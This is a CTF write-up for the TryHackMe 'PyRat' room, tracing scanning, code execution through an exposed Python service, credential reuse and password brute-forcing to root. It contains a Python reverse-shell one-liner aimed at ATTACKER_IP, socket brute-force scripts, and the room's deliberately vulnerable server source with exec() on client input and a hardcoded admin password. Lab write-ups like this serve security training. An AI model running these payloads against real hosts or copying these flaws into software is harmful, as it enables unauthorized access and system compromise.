PyRat | TryHackMe Writeup

Let’s get started. I first started with a port scan to identify the open ports and the services running on the server:

[06:33] shafdo@kali ➤  PyRat rustscan -a 10.10.248.81 -b 2500 -r 1-65535 -- -Pn -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/shafdo/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.248.81:22
Open 10.10.248.81:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-22 06:34 +0530
NSE: Loaded 126 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:34
Completed NSE at 06:34, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:34
Completed NSE at 06:34, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 06:34
Completed Parallel DNS resolution of 1 host. at 06:34, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 06:34
Scanning 10.10.248.81 (10.10.248.81) [2 ports]
Discovered open port 22/tcp on 10.10.248.81
Discovered open port 8000/tcp on 10.10.248.81
Completed Connect Scan at 06:34, 0.51s elapsed (2 total ports)
NSE: Script scanning 10.10.248.81.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:34
Completed NSE at 06:34, 12.90s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:34
Completed NSE at 06:34, 0.00s elapsed
Nmap scan report for 10.10.248.81 (10.10.248.81)
Host is up, received user-set (0.51s latency).
Scanned at 2024-10-22 06:34:16 +0530 for 14s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open  http-alt syn-ack
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:34
Completed NSE at 06:34, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:34
Completed NSE at 06:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds

[06:34] shafdo@kali ➤  PyRat 

Visit the python server

Even more basic connection with NC

Exploitation

We have something here. Lets try adding some python code

We confirmed that we can execute code. Lets try a reverse shell.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Privilege Escalation

I did a linpeas scan to further enumerate the system. We found a .git repo belonging to the think user. Let’s enumerate this git repo

www-data@Pyrat:/opt/dev/.git$ cat config
cat config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = [email protected]

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = REDACTED
www-data@Pyrat:/opt/dev/.git$ 

We see credentials in the config file. This usually happens of the username and password is hardcoded like so which is insecure (Broken Access Control):

git remote set-url origin https://username:[email protected]/user/repo.git

Let try gaining access to think user’s account via SSH (Password Reuse).

think@Pyrat:/opt/dev$ 
think@Pyrat:/opt/dev$ git log 
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <[email protected]>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint
think@Pyrat:/opt/dev$ 
think@Pyrat:/opt/dev$ ls -la
total 12
drwxrwxr-x 3 think think 4096 Oct 25 11:32 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Oct 25 11:32 .git
think@Pyrat:/opt/dev$ 
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")
think@Pyrat:/opt/dev$ 
think@Pyrat:/opt/dev$ git restore pyrat.py.old
think@Pyrat:/opt/dev$ 
think@Pyrat:/opt/dev$ cat pyrat.py.old 
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................
think@Pyrat:/opt/dev$

It look like the pyrat.py.old file is deleted. I restored it. Looking at pyrat.py.old file I guess the endpoint is selected with the data what we pass in. Let’s try an example:

Reading an hint the room provides "Exploring possible endpoints using a custom script, the user can discover a special endpoint". With the new version of program there can be more endpoints like shell. Time to find more.

import socket,time

# Make socket connection and try to connect with the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.122.116", 8000))

# wordlist = open("/usr/share/wordlists/dirb/small.txt", 'r').read().splitlines()
wordlist = [
    "api", "v1", "v2", "v3", "latest", "dev", "admin", "internal", "private",
    "public", "auth", "user", "users", "account", "accounts", "data", "search",
    "login", "logout", "register", "signup", "signin", "profile", "settings",
    "config", "system", "secure", "resources", "services", "client", "clients",
    "token", "access", "refresh", "validate", "verify", "info", "status", 
    "report", "reports", "analytics", "dashboard", "upload", "download", 
    "export", "import", "webhook", "callback", "payment", "transaction",
    "order", "orders", "product", "products", "catalog", "items", "inventory",
    "docs", "documentation", "health", "monitoring"
]

# Use directory to bruteforce
for word in wordlist:
	# Send
	s.send(word.encode())
	# Receive
	data = s.recv(512).decode("utf-8")
	
	if "not defined" in data: print("Invalid endpoint: {}".format(word))
	else:
		print("Valid endpoint: {}".format(word))

		# Kill the connection and make a new one. Don't stop bruteforcing
		s.close()
		time.sleep(1)

		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(("10.10.122.116", 8000))
[18:32] shafdo@kali ➤  PyRat python3 brute.py
Invalid endpoint: api
Invalid endpoint: v1
Invalid endpoint: v2
Invalid endpoint: v3
Invalid endpoint: latest
Invalid endpoint: dev
Valid endpoint: admin
Invalid endpoint: internal
Invalid endpoint: private
Invalid endpoint: public
Invalid endpoint: auth
Invalid endpoint: user
Invalid endpoint: users
Invalid endpoint: account
Invalid endpoint: accounts
Valid endpoint: data
Invalid endpoint: search
Invalid endpoint: login
Invalid endpoint: logout
Invalid endpoint: register
Invalid endpoint: signup
Invalid endpoint: signin
Invalid endpoint: profile
Invalid endpoint: settings
Invalid endpoint: config
Invalid endpoint: system
Invalid endpoint: secure
Invalid endpoint: resources
Invalid endpoint: services
Invalid endpoint: client
Invalid endpoint: clients
Invalid endpoint: token
Invalid endpoint: access
Invalid endpoint: refresh
Invalid endpoint: validate
Invalid endpoint: verify
Invalid endpoint: info
Invalid endpoint: status
Invalid endpoint: report
Invalid endpoint: reports
Invalid endpoint: analytics
Invalid endpoint: dashboard
Invalid endpoint: upload
Invalid endpoint: download
Invalid endpoint: export
Valid endpoint: import
Invalid endpoint: webhook
Invalid endpoint: callback
Invalid endpoint: payment
Invalid endpoint: transaction
Invalid endpoint: order
Invalid endpoint: orders
Invalid endpoint: product
Invalid endpoint: products
Invalid endpoint: catalog
Invalid endpoint: items
Invalid endpoint: inventory
Invalid endpoint: docs
Invalid endpoint: documentation
Invalid endpoint: health
Invalid endpoint: monitoring
[18:32] shafdo@kali ➤  PyRat

It is to be noted my target IP changed to due to machine expiry => 10.10.185.6

Admin endpoint requires password:

Back to hints. The user can discover a special endpoint [DONE] and ingeniously expand their exploration by fuzzing passwords. We need to fuzz the password.

Wordlist I’m going to use: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-20.txt

Modify my script:

import socket,time

# Make socket connection and try to connect with the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.185.6", 8000))

# Use the endpoint admin
s.send("admin".encode())

wordlist = open("rockyou-20.txt", 'r').read().splitlines()

for word in wordlist:
	s.send(word.encode())
	data = s.recv(1024).decode("utf-8").replace("\n", '')
	
	# Print reponse
	print("[>>>] Trying Password: {}".format(word))
	print("[+] RESPONSE: {}\n".format(data))

	# After 3 password prompts. Send the endpoint name again
	if "is not defined:":
		s.send("admin".encode())
		time.sleep(1)
		continue


s.close()

We got a welcome banner. Let’s try login

It looks like there is a small problem with my script. According to the output I see nicole the correct password for the welcome banner. But it’s actually abc123. Anyway, I’m glad I got the password :). You will find the root flag in the home folder. Meantime here is the source code for the PyRat server:

cat pyrat.py
# Made by [email protected]
# Pyrat.py is a "python RAT tool" designed to be used on CTF

import socket
import sys
from io import StringIO
import datetime
import os
import multiprocessing

manager = multiprocessing.Manager()
admins = manager.list()


def handle_client(client_socket, client_address):
    try:
        while True:
            # Receive data from the client
            data = client_socket.recv(1024).decode("utf-8")
            if not data:
                # Client disconnected
                break
            if is_http(data):
                send_data(client_socket, fake_http())
                continue

            switch_case(client_socket, str(data).strip())
    except:
        pass

    remove_socket(client_socket)


def switch_case(client_socket, data):
    if data == 'admin':
        get_admin(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0) and (str(client_socket) not in admins):
            change_uid()
        if data == 'shell':
            shell(client_socket)
            remove_socket(client_socket)
        else:
            exec_python(client_socket, data)


# Tries to execute the random data with Python
def exec_python(client_socket, data):
    try:
        print(str(client_socket) + " : " + str(data))
        # Redirect stdout to capture the printed output
        captured_output = StringIO()
        sys.stdout = captured_output

        # Execute the received data as code
        exec(data)

        # Get the captured output
        exec_output = captured_output.getvalue()

        # Send the result back to the client
        send_data(client_socket, exec_output)
    except Exception as e:
        # Send the exception message back to the client
        send_data(client_socket, e)
    finally:
        # Reset stdout to the default
        sys.stdout = sys.__stdout__


# Handles the Admin endpoint
def get_admin(client_socket):
    global admins

    uid = os.getuid()
    if (uid != 0):
        send_data(client_socket, "Start a fresh client to begin.")
        return

    password = 'abc123'

    for i in range(0, 3):
        # Ask for Password
        send_data(client_socket, "Password:")

        # Receive data from the client
        try:
            data = client_socket.recv(1024).decode("utf-8")
        except Exception as e:
            # Send the exception message back to the client
            send_data(client_socket, e)
            pass
        finally:
            # Reset stdout to the default
            sys.stdout = sys.__stdout__

        if data.strip() == password:
            admins.append(str(client_socket))
            send_data(client_socket, 'Welcome Admin!!! Type "shell" to begin')
            break


def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e)


# Sends data to the clients
def send_data(client_socket, data):
    try:
        client_socket.sendall((str(data) + '\n').encode("utf-8"))
    except:
        remove_socket(client_socket)


def start_server(host, port):
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(5)
    print(f"Server listening on {host}:{port}...")

    while True: 
        client_socket, client_address = server_socket.accept()        
        # Start a new process to handle the client
        p = multiprocessing.Process(target=handle_client, args=(client_socket, client_address))
        p.start()


def remove_socket(client_socket):
    client_socket.close()
    try:
        global admins
        # Replace the original and admins lists
        admins = admins._getvalue()
    
        if str(client_socket) in admins:
            admins.remove(str(client_socket))
    except:
        pass


# Check if the received data is an HTTP request
def is_http(data):
    if ('HTTP' in data) and ('Host:' in data):
        return True
    return False


# Sends a fake Python HTTP Server Banner
def fake_http():
    try:
        # Get the current date and time
        current_datetime = datetime.datetime.now()

        # Format the date and time according to the desired format
        formatted_datetime = current_datetime.strftime("%a %b %d %H:%M:%S %Z %Y")
        banner = """
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.2
Date: {date}""".format(date=formatted_datetime) + """
Content-type: text/html; charset=utf-8
Content-Length: 27

Try a more basic connection!
"""
        return banner[1:]
    except:
        return 'HTTP/1.0 200 OK'


def change_uid():
    uid = os.getuid()

    if uid == 0:
        # Make python code execution run as user 33 (www-data)
        euid = 33
        groups = os.getgroups()
        if 0 in groups:
            groups.remove(0)
        os.setgroups(groups)
        os.setgid(euid)
        os.setuid(euid)


# MAIN
if __name__ == "__main__":
    host = "0.0.0.0"  # Replace with your desired IP address
    port = 8000  # Replace with your desired port number

    try:
        start_server(host, port)
    except KeyboardInterrupt:
        print('Shutting Down...')
        sys.exit(1)

See you in the next post. Take care 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *